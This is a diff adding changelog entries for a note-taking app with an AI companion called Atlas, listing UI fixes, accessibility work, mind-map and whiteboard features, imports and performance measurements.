+- Chips: the Contents jump chips, the dashboard's On this day dates, the chat sources' +N, document property and embed chips and the Library's reading badges put their words in the same trimmed span as every other chip, so they sit level with their neighbours.
+- Skill logs: Clear and the pin button no longer touch when the collapsed sidebar is peeked open (they overlapped by 5.6px; the peeked pin now sits where the pinned one does, 6.4px from Clear), and at phone width Clear sits 6.4px from the opener, up from 2.4px (INBOX 495).
+- Locking the notebook no longer deletes the Timeline's feed and table or the Reminders controls (it emptied their containers, not only the rows), so the Notes select button stops throwing `Cannot read properties of null` from `paintTimeline` after a lock; a lint now fails if a purged container holds an id (INBOX 492).
+- Mind maps: the board's Insert and Arrange buttons no longer show in a map's top bar when one of their menus was open as the map opened.
+- Quick sketch: the toolbar stays on one row at tablet width with Large text; the ink dots sit closer between 600 and 1023px wide.
+- Mind maps: the topic menu's "Connect this topic to another" picks the connect tool again; it did nothing.
+- Mind maps: Tab, a name and Enter typed before the new topic's editor has opened now name that topic; the Enter used to add a second, empty topic and the name was lost.
+- Search results open from the keyboard (Tab to one, Enter or Space), and the sidebars' "All in Library" link fits on one line.
+- Whiteboard and mind map, audited (INBOX 445): M picks the highlighter without opening the quick-nav guide (which swallowed the stroke, and M then D left the board); a map's letters no longer pick hidden board tools; Escape leaves a text box selected; the shape Fill switch draws filled shapes when on (it was inverted); the tool bar shows only the settings the held tool uses; Ctrl+Shift+arrows move a topic among its siblings, Enter adds the new topic right after the current one and Shift+Enter right before it, Ctrl+Z brings back a deleted branch with its styling, undo keeps 100 steps; what you type straight after Tab or Enter is the new topic's text; Tab walks a board's items from the keyboard, each one announced, and Select all takes pictures; group and branch drags no longer re-measure the board every frame.
+- A note card's time stays on screen when you point at the card (it faded out to make room for the buttons), at the right of the details line, and says "edited" when the note has been.
+- With no AI running, Ask answers "What have I saved recently?" with your newest notes and when each was written, each cited, instead of saying the notes did not match the question.
+- Companion on Chat: it perches on the composer dock, reads along on it while an answer is written and cheers when it lands, and never covers the input, Send, Stop or the latest message (Atlas's tail hung over Stop and the input). A double-click no longer pokes it first, and with reduced motion a move is a crossfade rather than a fade to nothing and back.
+- On a phone a note's suggested tags are 24px chips again: each one's dismiss button had grown into a 44px grey disc. The graph labels a note by its first line, not its title run into its body. The document sidebar's Documents/Outline tabs keep their underline in the Paper, Utilitarian and Mono looks. Recently added on the dashboard can be opened from the keyboard. The Reminders form is one height with every other form.
+- A note's history says whose each change was: You, Atlas, or You and Atlas (a save that includes an applied Improve writing suggestion), with the exact time on hover; any earlier version can be put back.
+- Selected text, Search the notebook: says which notes it is showing, with Clear, instead of filtering the list silently.
+- A note's details line has room again: where it is filed and how sure, its tags, then what points at it, 16px apart (they sat 6px apart, overlapping, in the Notes list).
+- The graph's note popup renders markdown and pictures again: choosing Source in Capture had switched every note box to raw markdown, including the popup, which has no Source button to switch back.
+- Selected text, Save as a note: says "Saving…" at once and "Saved as a note" with Open when done, and files in the background instead of waiting on the model.
+- Ask, Chat and the weekly digest know what a note's time words meant: "this Friday" in a note written two weeks ago reaches the model as "Friday 25 September 2026, 8 days ago", not as this week's Friday.
+- "What have I saved recently?" (and "what did I write lately") lists your newest notes instead of searching for the word "saved".
+- A picture in a note stays visible while you edit its line (under its markdown), so the graph popup's Edit no longer turns a sketch into a bare link.
+- Loading placeholders show the shape of what is coming (a title line and a text line) with a visible sweep; with reduced motion they breathe gently instead of sitting blank.
+- The tags list under a tags field lights the row under the pointer, and Enter or Tab takes a row reached with the arrows or the pointer.
+- Settings, Templates, Skills and Personas: Edit, Reset and Delete sit in their own column, centred on the item and always shown (they were hidden until pointed at and hugged the card's top corner); the Built-in label is one line beside the name.
+- Badges: "Built-in", "Edited", "Yours" and the Models sliders' "you set this" are drawn one way everywhere (the Library's skill cards showed bare text and the sliders a third style); the Library's skill facts are one height.
+- Privacy: the search-by-meaning model goes online only to download itself the first time; once on this computer it loads from disk with no connection, and if its files will not load it says to reinstall it instead of quietly fetching it again.
+- Settings, Models: double-clicking a slider to reset it also resets its "you set this" badge, and the value no longer shows twice.
+- Loading: the Library's documents, boards and maps, images and files, AI skills, bookmarks and contents, Reminders, the chat list and the documents sidebar show placeholder rows while their data loads, instead of a blank area.
+- Tags fields (Capture and editing a note): the browser's dropdown arrow and list are replaced by the app's own list, under the field at its width, completing the tag after the last comma, leaving out tags already entered, showing how many notes use each; arrow keys, Enter, Tab and Escape work.
+- A note nothing could file offers its likely categories as one-tap buttons beside Choose category; a note filed from your notebook's words says so.
+- The AI status dot's "checking" dots sit in the middle of the dot (they were 3px off).
+- The AI status popup and the header's menus stand above the companion when it is perched on their bar.
+- Settings, Models says it is checking while the model status loads and that a slow model server is slow, instead of "Can't reach the MemoryMap server" while the app is running.
+- The needle extra's note says plainly that it runs offline and that nothing needs doing about telemetry.
+- Notes: Ctrl+Shift+N, the dashboard's New note and the empty states always open Capture with the caret in the box; with Notes last on Browse the shortcut used to focus nothing, and what you typed next was lost.
+- Filing with no AI: a new note is filed from your notebook's own words (the notes already in each category, their tags, your moves by hand and the category names), says so ("filed from your notebook's words"), and stays in Uncategorised when it is not sure; before, every note went to Uncategorised whenever no model was running.
+- Accessibility: Settings, Keyboard shortcuts has a switch for single-key shortcuts (the m chord, / and ?), so speech input or a stray key cannot trigger them (WCAG 2.1.4).
+- Zoom and keyboard: at 400% zoom or on a very short window the sub-tab strips scroll with the page and New note stays in its dock, so a focused control is never hidden under them; a closed sidebar drawer is no longer a Tab stop; a control reached by Tab scrolls clear of the floating button and the sticky strip.
+- Keyboard: F2 or Edit puts the caret in the note's editor and Escape returns to the note; a chooser sheet (Move to category, Tags) opens on the current row and the arrow keys walk its rows; after a move the focus stays on the note instead of falling to the top of the page.
+- Accessibility: Find anything's results are announced as a list only while they list something; its empty and no-match messages no longer read as an empty list.
+- A dropdown's list is never narrower than the control that opened it (Library "Items per page", the Timeline's options, Sort notes).
+- A chip's leading icon sits level with its words (the clock on the "Ask again" chips sat 1.5px high).
+- The Web search panel's "..." menu is there the moment the panel opens, instead of after the engine's status check.
+- A note card's labels row keeps the same room under the text as under "Show more".
+- Timeline: on a day with notes, today's count stays at the end of its heading like every other day's, with "Start today's note" just before it, instead of floating in the middle.
+- Reminders: the 15 min and 1 day steppers sit right after Quick set, with the time they add up to after them, and no longer move when Reset appears.
+- Accessibility: sidebar and panel resize grips say how wide the panel is; the document editor and every note box have a name; Library chip counts and the Web toggle meet 4.5:1 contrast; dashboard rows that are buttons are announced as a group; Capture, persona and template fields have labels, not only placeholders.
+- Companion: perched on a chat message, a library card or a note card, it now scrolls under the top bar with its perch instead of staying in front of it (62px of figure over the bar before, 103px at Large); perched on the bar itself it stays in front.
+- Companion: the palette row says Hide companion or Show companion, whichever it will do, and the hide toast names the shortcut as currently bound.
+- Accessibility: the app has one main landmark around its tab pages, so a screen reader's jump to main content works on every tab (it found nothing on five).
+- Status bar: below 1024px wide the page no longer scrolls sideways while a background job runs; the key hint goes and Ask, Guide, Find, reminders and the running count show their icon and number, their words still read to a screen reader.
+- Notes: a filter still being typed (`tag:`, `in:`, `#`) no longer empties the list until its value is typed.
+- Notes: Ctrl+Enter (Cmd+Enter) saves from the capture box and from a note being edited, and the caret stays in the box after a save, so the next thought goes straight in.
+- A note no AI could file says so once, "Saved in Uncategorised: no AI model is running to file it", with Choose category beside it, instead of "Filed under Uncategorised (0% sure)" twice.
+- A note being edited keeps what you typed when the list redraws (a star pressed elsewhere, a filter, a background filing); Escape and Cancel ask before dropping changes, and an emptied note is refused rather than quietly kept.
+- Selecting notes, then changing category or filter, no longer leaves hidden notes selected for Tag or Delete.
+- A to Z sorts by a note's title, with "note 2" before "note 10"; the sort is remembered.
+- The Notes sidebar lights one row at a time, lists categories with no notes yet, sorts names the way people read them, and every row is reachable by keyboard; its fold is remembered.
+- In "All spaces", moving or renaming a category never files a note under another space's category; category counts match the notes list; tags are stored once each, whatever their case.
+- The Connections column lists a note's own [[links]], and "Forgotten, and close to this" never lists drafts or unrelated notes.
+- The popup agent with a small model: a reply that only says what it will do ("I'll count the notes in Work") is asked once to do it, and the model's quoting markers no longer show in answers.
+- Settings: Import .md files works again; the search engine line says how many notes search by meaning can find and how the last search found its notes; Chat's Web and Plan pills keep their icon when on.
+- Boards and mind maps: dragging the overview's view box keeps up with the pointer (a 150-card board at a 4x slowed CPU: 183 to 33ms a frame at the 95th percentile, long tasks 61 to 0 to 3), and Fit is two to three times smoother.
+- Phone: tapping a note opens it; the categories drawer is one column of full-width rows that closes on a choice; a toast no longer covers the New note button.
+- The command palette (Ctrl+K) finds "Manage categories", "Go to category: X", a #tag, and Move to category for the note in hand.
+- Asking for "my last note" (or latest, newest, what I wrote last) lists your newest notes newest first instead of searching for the words; Chat and Ask now tell the model when each note was written and last edited.
+- The rows view is one line per note (47px a row, was 74).
+- Note boxes (Capture and editing a note) render as you type with a Source switch for the markdown, in place of a separate Preview; the switch stays visible with the formatting tools folded and is remembered.
+
+### Added
+- Whiteboards and mind maps: drag a card, a text box, a shape or a topic (or the selection it belongs to) onto "Drop here to delete", which appears at the foot of the canvas while something is carried, to delete it as one Undo step, with a toast offering Undo; a topic takes its branch, as its Delete does. Escape or a drop anywhere else leaves it a plain move, and Delete still works from the keyboard (INBOX 660).
+- Mind maps: a topic can have a due day (the Markers popover's Due row): drawn in the marker row, a day gone in red and read as was due, filterable, kept by OPML and FreeMind, and Remind me makes a reminder at 9:00 that day (MINDMAP_PLAN decision 37; `tests/test_mindmap.py`, `op5-1005.js` MODE=due).
+- Mind maps: Study the map (the board menu, or the palette) asks one branch at a time with what is under it hidden; Show draws it, Knew it or Not yet marks it, and the marks are kept for that map on this device (MINDMAP_PLAN decision 36; `tests/test_map_study.py`, `op5-1005.js` MODE=study).
+- Mind maps: export as a plain-text outline (a tab per level) and import a .txt outline; an outline file dropped on the boards page imports and opens (MINDMAP_PLAN §12.2 item 10; `tests/test_mindmap.py`, `op5-1005.js` MODE=mapio).
+
+- Chat, skill runs: "Undo the run" beside What changed puts back every note the run changed at once, after showing what will go back; each change keeps its own Undo, and a board item is named as one that can't be undone.
+- Settings, Packages: "Read images without Tesseract (RapidOCR)", a second local reader for pictures and scanned pages with nothing else to install. It reads when Tesseract isn't ready; Tesseract stays the reader whenever it is. The Vision bundle installs both, and the OCR workspace names whichever one read.
+- Documents: in Live, drag the corner of a picture to resize it, or focus the corner and use the arrow keys, and its align button puts it on the left, in the centre or on the right; the size and alignment are written into the picture's markdown, so Read, a print and the exports show the same picture (DOCUMENTS_PLAN decision 8, the audit's D5).
+- Documents: Print or save as PDF first asks for the page size (A4 or Letter), orientation, margins and whether to print page numbers with the title at the head of each page, and remembers it; a plain Ctrl+P prints on the same page (DOCUMENTS_PLAN decision 7, the audit's D4).
+- Documents: a ```mermaid flowchart (flowchart or graph, in any direction, with boxes, rounds, diamonds and circles, labelled and dotted or thick links) draws as a diagram in Read, in Live while the caret is elsewhere, in a print and in the HTML export, by the app's own parser with nothing downloaded; press it in Live to edit its text; any other Mermaid diagram stays as code (DOCUMENTS_PLAN decision 20.6, the audit's D3).
+- Documents: the menu's Map the headings (and the palette) makes a new mind map of the document's headings, laid out as a tree, with a topic that opens the document again; a heading inside a code block is left out (MINDMAP_PLAN decision 35, the audit's M5).
+- Mind maps: markers on a topic, a priority from 1 to 5, how far along it is, a flag and up to six icons (from the app's own icon set, never emoji), drawn before its name and set from the topic's menu (Content, Markers) or the palette; View, Filter by marker dims every topic without the one you pick; OPML and FreeMind exports carry them (MINDMAP_PLAN decision 34, the audit's M4).
+- Mind maps: View, Outline shows the map as an indented list beside it, edited in place: type to rename (the canvas follows as you type), Enter adds a topic, Tab and Shift+Tab move it in and out a level, Backspace on an empty topic removes it, Escape goes back to the map; the palette has the same row (MINDMAP_PLAN decision 33, the audit's M3).
+- Notes: the filter is:review lists the filings to check, notes Atlas filed with little confidence or left in Uncategorised, each with Accept (keep its category, with Undo), Refile and Split; the dashboard's Categories widget says how many wait, and the palette has Show filings to check (WORLD_CLASS_PLAN section 17).
+- Graph: View, Colour, Note type paints each note by its type (Meeting, Book, your own), with "No type" in grey; a type's colour is chosen in Note types, its ⋯, Colour…, and Automatic is the colour the picker previews (WORLD_CLASS_PLAN row 10, D5).
+- Timeline: in the feed, Ctrl and the mouse wheel, or a trackpad pinch, makes the date groups finer or coarser (day, week, month, year), one step per gesture, keeping your place; + and - on a row do the same. Options, Time range has On this day: what you wrote on today's date in earlier months and years, in your own time zone (TIMELINE_PLAN decisions 11 and 12).
+- Dashboard, Tensions: the widget now lists the disagreements already found and not yet decided (by a review or the overnight pass), each with both notes, what it is about, and which model found it when, with buttons to open either note, link the two as contradicting, or dismiss the pair. A review keeps what it finds and never asks the model about the same pair twice, and the review sheet shows what is waiting before you start (WORLD_CLASS_PLAN B4, row 18).
+- Notes, a live query's Table: the last row rolls each column up over every matching note (not only the rows drawn): Count, and Sum, Min and Max for numbers, Earliest and Latest for dates, the choice kept per column. A note field in Properties (and in a document's properties) has a magnifier that searches your notes, where before only the first 300 titles were offered (GRAPH_PLAN, the last KG rows; `scratchpad/ui-sweeps/kg1005-rollups.js` 8/8 at 1440 light and 390 dark).
+- Polish in use (WORLD_CLASS_PLAN H9): Settings, General, Simple mode shows only Dashboard, Notes, Chat and Library (every hidden place still opens from the palette); What you use counts the tabs and palette commands you use, on this computer only and never sent anywhere, lists what has not been used in 90 days, and the palette puts your most used commands first; `memorymap --capture` bound to a key in your system's keyboard settings opens a one-line capture box over any app (Settings, Keyboard shortcuts, Capture from anywhere has the command; a note was saved and listed 606 ms after the box opened); a pause while typing a question warms the search for it, and focus in Capture, Ask or chat starts loading a search model that is not loaded yet, which took the first answer on a fresh install from 15.5 s to 11.5 s of the app's own time (most of what is left is that model's first load on a busy sandbox). A perf budget runs with the suite on every push (`tests/test_perf_budget.py`: statement and time budgets on ten boot routes); the sweeps gained a fault pass (29 routes failed one at a time, no tab left blank), a keyboard reach pass and the axe pass in `all.sh` (WCAG 2.2 AA, every tab and Settings section: 0 findings at 1440 light and dark; at 390 the Timeline table's rows carried aria-expanded, which a plain table does not allow, and the table is a treegrid now, 0 findings after).
+- Settings, Import & export, Import from another app: From Notion (the Markdown & CSV export zip), From Obsidian (the vault folder), From Evernote (.enex) and From Apple Notes (an exporter's folder). Folders and notebooks become categories, tags and created dates come along, links between Notion pages become wiki links, and a second import of the same export adds nothing twice and says how many were already here; one step with Undo, like the other imports. Evernote files are read with entity expansion refused (WORLD_CLASS_PLAN H6, 5.7; `POST /import/app`, `entry/app_import.py`, `tests/test_app_import.py`). Keyboard: every visible dock control on all seven tabs is reached by Tab, measured (`scratchpad/ui-sweeps/inv1005-keyreach.js`: 45 controls at 1440, 31 at 390, none missed).
+- Web clipper, from your own browser: Settings, Import & export, Web clipper has a Clip to MemoryMap bookmark to drag to the bookmarks bar. Pressed on any page it opens a small MemoryMap window with the page's title and address, and Save as a note keeps its main text, or only what you selected. Nothing is fetched (it works with web search off and on pages you signed in to see), no extension is needed, and the same page clipped twice points to the note it made the first time. A clipped note keeps its address, so Atlas treats it as text from outside, and a retrieved note from outside is now fenced as one in the prompt (WORLD_CLASS_PLAN D9; `POST /links/clip-page`, `clip.html`, `tests/test_webclip_page.py`).
+- Documents: the margin reader. Turn it on from the dock menu's While you write, Margin reader, and a column beside the editor shows at most three cards about the paragraph you are in, a moment after you stop typing: Repeats, Differs (the same thing with a different number or a not, or what the model judges a disagreement), Answers (one of your open questions), Date (with Make a reminder) and Related, each naming the sentence in your other note, with Open and Not this. Nothing is written into your text; off by default and behind Settings, What the notebook learned, Margin reader (WORLD_CLASS_PLAN I2; `POST /editor/read`, `ai/margin.py`, `tests/test_margin_reader_spec.py`). Measured with the model off, 500 notes, 12 requests on a sandbox at load 20: median 40 ms, p90 122 ms (the plan's budget is 300 ms); typing latency in Chromium not measured.
+- Settings, Models, Test my models: the model bench runs your installed models on your own notes (filing, a cited answer from three notes, five tool calls each) and recommends one, with each model's numbers and the first things it got wrong, Stop, and Use this one; fully local, one run at a time, its last report kept (WORLD_CLASS_PLAN I8, H3; `ai/bench.py`, `/models/bench`, `tests/test_bench_spec.py`). The offline harness's citation score now comes from `ai/bench.py`, so the two cannot drift. Not verified against a real model.
+- Time travel: in Notes, Ask, the clock button answers from your notes as they were on a day you pick, and a note's History shows Then and now for an earlier version, what it said then against what it says today, sentence by sentence (row 23).
+- Settings, What it learned: a "Learned from you" line counts your corrections and gives filing accuracy, the share of the notes Atlas filed that you left where it put them, older half of the last 200 against the newer half (row 20).
+- From the original vision: a review queue (is:review in Notes, Accept the filing on a note's menu, and a Filings to check dashboard widget), Tidy suggestions in Manage categories (names alike in spelling or meaning to merge, categories empty for thirty days to remove, Not these remembered), a Filing style setting (by topic, by project or by time), charts in Ask for counting questions (how many notes per category this month) with their numbers and Save as PNG, a Most opened this month widget, and Explain this note on a note's menu (WORLD_CLASS_PLAN 17).
+- Reminders: Snooze 10 minutes on a reminder's menu, beside +1h and tomorrow on its row (WORLD_CLASS_PLAN D8).
+- Ctrl+Shift+V outside a text box saves what you copied as a new note, with Undo; a saved chat reopens where you left it; the AI status dot says how the last answer went (the model, its time, how much of its window it used); suggested links read as two note chips with a score bar, the reason behind Add a reason, and Link all above 70%; Settings, Account & security has Re-encrypt private notes. Settings, Packages: a package's name lines up with its Install button.
+- Documents and reminders go to the recycle bin like notes: the Library's bin lists them, Restore brings back the same document with its history, attached notes and reminders (its Undo used to make a new copy), Delete for good, Empty the bin and the auto-clear take them too. The Notes selection bar's ⋯ has Move to space (each note keeps its category's name, its files and reminders go with it, and Undo sends each back) and Export as Markdown. Editing a note shows its words and reading time. Note templates fill {{clipboard}} and {{time}} and put the caret at {{cursor}} (WORLD_CLASS_PLAN 5).
+- Remind me on a document's and a board's or map's ⋯ menu, and on the Library's note card with Link to (a note picker); a document's Library card has Show in graph. A reminder now says what it is about (a note, a document, a board or a map), and its row opens that (WORLD_CLASS_PLAN 1.3).
+- Note types: Person, Project, Meeting, Book and Place come built in, each with its own colour and fields (deleted ones stay deleted), and the graph's View, Colour has Note type, which paints each note its type's colour (WORLD_CLASS_PLAN D5).
+- Whiteboard: View, Present frames shows a board's frames one at a time, full screen, in reading order, each fitted to the screen. The arrow keys, Space, Home and End (or the small bar at the foot) move through them, and Escape puts the board back as it was (WHITEBOARD_PLAN decision 16; `scratchpad/ui-sweeps/wbpresent.js` 18/18 at 1440x900 and 390x844, light and dark).
+- Whiteboard: lock. Ctrl+Shift+L (or Lock on an item's right-click menu) holds what is selected in place: clicks pass through it to the board, and Select all, a box selection, the eraser and a frame's drag leave it alone. Right-click the board and choose Unlock (it says how many are locked), or press Ctrl+Shift+L with nothing selected, to free them (WHITEBOARD_PLAN decision 15; `scratchpad/ui-sweeps/wblock.js` 17/17 at 1440x900 and 390x844, light and dark). A box selection drawn inside a frame no longer selects the frame as well.
+- Whiteboard: frames. F (or Add in the rail, or Insert, Frame) places a titled region on a board; a click drops one, a drag draws it. Dragging its title moves everything inside it with it (Ctrl and drag moves the frame alone), double-click the title to rename it, and deleting it leaves what it held. Its inside lets clicks through, so you select and draw inside it as on the board; it exports with the board, and the board's AI read names each frame and the cards under it (WHITEBOARD_PLAN decision 14; `scratchpad/ui-sweeps/wbframes.js` 24/24 at 1440x900 and 4/4 at 390x844, light and dark).
+- Mind maps: a topic can hold a note. "Add a note…" in the topic's menu opens a box beside it; the note is saved when you close it, and a mark on the topic opens it again. Markdown exports a note as a paragraph under its topic, OPML and FreeMind as `_note`, and all three read it back.
+- Mind maps: View, Number the branches numbers every topic by its place in the outline (1, 1.1, 1.2), as quiet text before its name. It is saved with the map, and the Markdown and OPML exports keep the numbers and read them back.
+- Whiteboard: a connector can carry a label ("yes", "no"). Select it and press Enter, or right-click it and choose Add a label; the label sits at the middle of the line, on the curve when it is bent, follows the line when either end moves, and exports with it. Double-click still bends the line.
+- Mind maps: a connect drag says which connection it will make before you let go. The topic under the pointer gets a solid ring when the release will hang it in the tree, a dashed ring (and a dashed line) when it will be a cross-link, and a screen reader hears which.
+- Mind maps: a topic can be a task. "Make this a task" in the topic's menu puts a box on it; press the box to tick it, and every topic above counts what is done under it ("1/2"). Markdown exports write tasks as `- [ ]` and `- [x]` and read them back; OPML and FreeMind keep them too.
+- Whiteboard: a rectangle, ellipse, diamond or triangle holds text. Double-click it (or select it and press Enter), type, and press Enter; the text sits centred in the shape, wraps to it, and moves, resizes, undoes and exports with it. On a dark fill it turns white. The shape's right-click menu says Add text.
+- Help covers every feature since 0.3.0 (INBOX 448 (1)): 17 new entries in the help the Guide, Chat and the popup agent read (Quick note, saving while the server is away, pictures and files in a note, how a note is filed and what its percentage means, suggested tags, the tag manager, Manage categories, a note's history, sorting notes, view addresses, Bookmarks, Contents, AI skills, Tesseract's language, dates and recent notes in answers, downloading a model, accessibility and zoom) and fourteen widened or corrected (mind map Ctrl+Shift+arrows, Enter and Shift+Enter, Ctrl+D and 100 undo steps; the notes filter's #tag, title:, before:, after:, in: and is:draft; source marks and Escape in Chat; Add to calendar; Background jobs' last-run lines; Draft with Atlas; hashtags; density Auto; the privacy receipt; deleting a space; locking puts dialogs away; the Settings groups; the Bookmarks sub-tab), 95 in all; of 52 features in `tests/test_help_coverage.py`, 4 reached their help from the question a person asks, now 52. Settings, Help lists all 95 in twelve groups from `GET /help/topics` instead of 13 hand-copied topics that still taught "g then a letter", and the Settings search finds a topic by its words ("percentage", "alt+n", "bookmarks"), settings first, a press opening the topic.
+- Notes keep the tags filing suggested: each shows on the card as "+ tag", one press to add it, its × to stop suggesting it. With no AI they come from your own tags on the notes most like it.
+- A note's card shows how sure the filing was (for example "83%") beside its category, and says whether Atlas or your notebook's words filed it.
+- Notes: a category chip moves its note in one click (also Move to category in a note's menu); a tag chip shows that tag's notes; the filter box takes #tag, title:, before:, after:, in: and is:draft.
+- Notes: Recently edited sort, a title field when editing, Copy [[link]] in a note's menu, and Home, End, Delete and F2 on a focused note.
+- Notes sidebar: a Tags row opens every tag with its count; choose one to see its notes, or rename or remove it everywhere, with Undo.
+- Category rename and merge can be undone, and deleting a category always offers to keep its notes in Uncategorised.
+- Selected notes can be added to or removed from Favourites, archived, published (drafts) or have a tag removed, from the selection bar's ⋯, each undoable.
+- Settings, Templates: Draft with Atlas writes a template from its name and one line, and pressing it again gives another version; nothing is saved until you add it.
+- Graph: each category's notes gather in a place of their own, and notes with no links sit with their category rather than in a ring round the map (View, Group by category).
+- A Library card, a board card and a Documents row are no longer a button holding buttons: the title is the control that opens them, so a screen reader reaches the tick and the menu as themselves. A click anywhere on the card still opens it.
+- A Settings group's '?' is no longer inside the group's heading, so a screen reader reaches it as its own button; it is drawn where it was, and pressing it still opens a closed group.
+- The Manage categories list no longer puts each row's menu button inside the row a screen reader selects: the rows are a grid, the menu is its own cell (Right reaches it, Left comes back), and every key and click works as before.
+### Changed
+
+- Boot budgets: the whiteboard rules only the Library bundle draws (30 KB of CSS) moved from the boot sheet into `library-lazy.css`, the status bar's slot list and its Settings rows into `settings-controls.js`, and the `openTour` guards and four documents.js globals folded away; boot CSS 183,375 to 179,885 gzipped, app scripts 320,436 to 319,757, guards 280 to 277, top-level lets 706 to 702. Measured identical on 3,400 drawn elements by `scratchpad/ui-sweeps/cssdiff-lazy.js`.
+- Documents and notes: while the line numbers show, the line the caret is on is lightly washed (the hover veil, readable in light and dark); with the numbers off nothing is highlighted (INBOX 651; activeline.js: wash 0.07 light and 0.09 dark, ink 14.9:1 and 10.7:1 over it).
+- Editors: copy and cut with nothing selected take the whole line, as VS Code does; the clipboard gets the line with its newline, pasting that line puts it above the one you are on, and cutting the last line takes the newline before it (INBOX 652; linecopy.js, 7 checks in the documents editor and in the capture box).
+- Chat, Ask, the popup agent and the Guide: the line under an answer in progress now says what is happening, in one set of words: Reaching Atlas while it waits for the first word, Reading your notes while it searches, Waking the model when a model is slow to load, Atlas is thinking, Atlas is writing, and Atlas is followed by the tool's action when it uses one (a persona's name replaces Atlas); with progress indicators set to Still it is the same words as a single pulsing line (INBOX 649; phases.js: 7 stages, motion on and off).
+- Notes: the "Write with Atlas" sub-tab is now the Writing room, a name that still fits with no AI model set up; its Settings, Models row, the help, the Guide and the tour say the same, and asking the Guide about "write with atlas" still finds it (INBOX 648).
+- Tour: between 641 and 819px wide the Settings steps now point at the section picker instead of three strip buttons that are hidden there, so the count matches the cards shown; walked at 600 to 1100 and on an empty notebook.
+- Gate: scripts/gate.sh --sweeps no longer names fifteen sweeps whose files were deleted (each could only fail); a test keeps the list and the folder in step.
+- Sweeps: lib.js gains openBoardsTab and waitForBoardOpen (the Boards sub-tab picked and the board code waited for, not a Library press and a sleep); seven board sweeps use them, two of which used to time out.
+- Sweeps: bm1005-sidebar.js measures the whiteboard rail's Notes tab skeletons (5 at 300ms, 264 notes after) as well as the Library's; both were already built.
+- OCR workspace on a phone: the page-size track (Fit, 100%) grows round its 44px buttons instead of leaving them 12px past a 32px track; wbtopbar.js seeds a scanned image and measures the head at 1440 and 390.
+- Sweeps: phonechrome.js asserts, at any WIDTH and HEIGHT, that every tab's page ends where the status bar (or the phone tab dock) begins; measured at nine widths from 600 to 1093, nothing overlaps.
+- Timeline on a phone: the calendar strip's spacing steps down a token so the list begins at 336px of 844, inside the first-screen rule; phonechrome.js probes the status bar with the three things the phone bar shows (a job, offline, power saver) and asserts the agent's activity leaves it folded away.
+- Graph: the map's sizes (how central each note is) are worked out from the links' plain columns rather than by loading every link in full, so the first open of the map after a change at 5,000 notes went from about 1.2 s to about 0.7 s (GRAPH_PLAN).
+- Graph: the first open of the map after a change is faster at notebook scale; the map's data was being passed through a generic converter that walked every value only to hand it back unchanged. At 5,000 notes the first build after a write went from about 1.5 s to about 1.2 s, and the next one from about 0.7 to 0.5 s (GRAPH_PLAN).
+- Mind maps: a topic's menu (and the command palette) has Summarise this branch. A few sentences about everything under the topic go into its note, open for you to read, change or keep; with no model running the branch is said plainly from its own topics, and says so.
+- Mind maps: Alt+1 to Alt+9 show that many levels of the whole map, folding everything deeper (Alt+1 leaves the trunks alone), so a large map reads as its outline in one press and opens a level at a time. Also in the command palette, the topic menu and the keys sheet; one Undo puts it back.
+- Boards: the sidebar's Library shows loading placeholders the first time it opens instead of an empty panel while its shapes and templates arrive, and the Notes tab does the same before your notes have loaded (INBOX 596).
+- Chat: the row of buttons that shows when you point at a message (copy, edit, delete) now hangs over its own message's bottom edge instead of below it, so at narrower windows it no longer lies over the start of the answer under a question (7 to 13px across it from 640 to 820px wide, now clear by 1px).
+- Graph: the map reads a slimmer payload. A note's fields at their usual value (no pin, no type, no parent, not pinned, no file, no tags) and an unexplained link's empty reason are left out and filled back in the page, times are to the second: at 5,000 notes the map's read went from 3,145 KB to 1,767 KB, and a rebuild after the first one from about 1.0 to 1.5 s to about 0.7 s. The dashboard reads the same slim payload, so one build after a change serves both (GRAPH_PLAN, a slimmer node).
+- Development: the badge alignment sweep measures an icon against its words' cap-height centre, the label recipe's one target (DESIGN.md), not the x-height band it used before, which read correctly aligned chips 1.5px high; the older status bar ink sweep it replaced is retired (INBOX 503, 592).
+- Boards and maps: the tools docked at the side are one column of one width on a board and a map (176px; 173 and 225 before, where the map's layout picker set it), every row four cells in the same four columns so the tools line up like a palette, the layout picker a row of its own; on a phone the tools are always the bottom strip, so the open sidebar no longer covers the tool picker, and the switch to dock at the side is not shown there (INBOX 596).
+- Atlas: the tail never holds still while idle. Each behaviour it takes up varies its swing, speed and curl a little, a small ripple swings it nearly as one on a clock of its own, and it draws out and back along its length a few percent, so its tip goes round a small loop the other waves cannot cancel; a slow frame no longer slows it. Measured stepped at 60 frames a second over 60 seconds, the tip's longest spell within 0.75px went from 1,100ms to 400ms (masculine) and 650 to 150ms (feminine); in real time at 8 to 11 frames a second, 588 and 474ms (INBOX 601).
+- The dashboard's widgets appear together once they have drawn, on every visit, instead of moving about for a second as each one filled in (a layout shift of 0.26 on a notebook of 300 notes); the opening waits for them too, 1.2 seconds at most. Stylesheet rules for ten classes nothing in the app uses any more (an old Library activity view and stat row, a whiteboard sidebar, the reminders' old list bar, the graph's old toolbar groups, two background-art drifts) are gone, which keeps the boot stylesheets under their budget (INBOX 577, 580).
+- Code layout: the frontend's scripts live in `frontend/js/` (50 files, beside `css/` and `vendor/`), not loose in `frontend/`. `sw.js` stays at the frontend root, because a service worker only controls pages under its own path. Nothing about the app changes; the script URLs are `/js/<name>.js`, a test checks that every script path in `index.html`, the lazy loader and the workers resolves to a real file.
+### Changed
+
+- Models: Suggested downloads are cards grouped by purpose (chat and filing, bigger machines, search, images, reading text). Each says its size on disk, the memory it asks for, what it is good at and whether it fits this computer; one starting pick per group; Download, Use for chat and the like as the one action, Remove and Copy name in a menu, and progress with Cancel on the card. Download another model takes an Ollama name or a Hugging Face link and says what it is before it downloads. A switch hides the ones too big for this computer.
+- Settings: searching a word lists the settings that match (the setting's own words, the section and group it is in) and a press opens it and rings it; a long section has a sticky index of its groups with the one you are at marked; choosing a section from the keyboard puts the focus on its heading, and the arrow keys still walk the list. The Models group heads are shortened to their names, with the detail in one line beneath.
+- Settings: the sections sit in six groups (AI, Notebook, Look and feel, Privacy and security, System, Help and About). Search and index is its own section, holding the search engine and the search index from Models and Search relevance from General; the answer style moved from General to Personas. A link that names a setting opens the section that holds it now.
+- The masculine Atlas's lower body is one thick wisp curving in an S from the full width of his hips to a soft curled tip, with two smaller wisps branching off it at different heights, all one smooth shape with no seams, in place of five straight spikes.
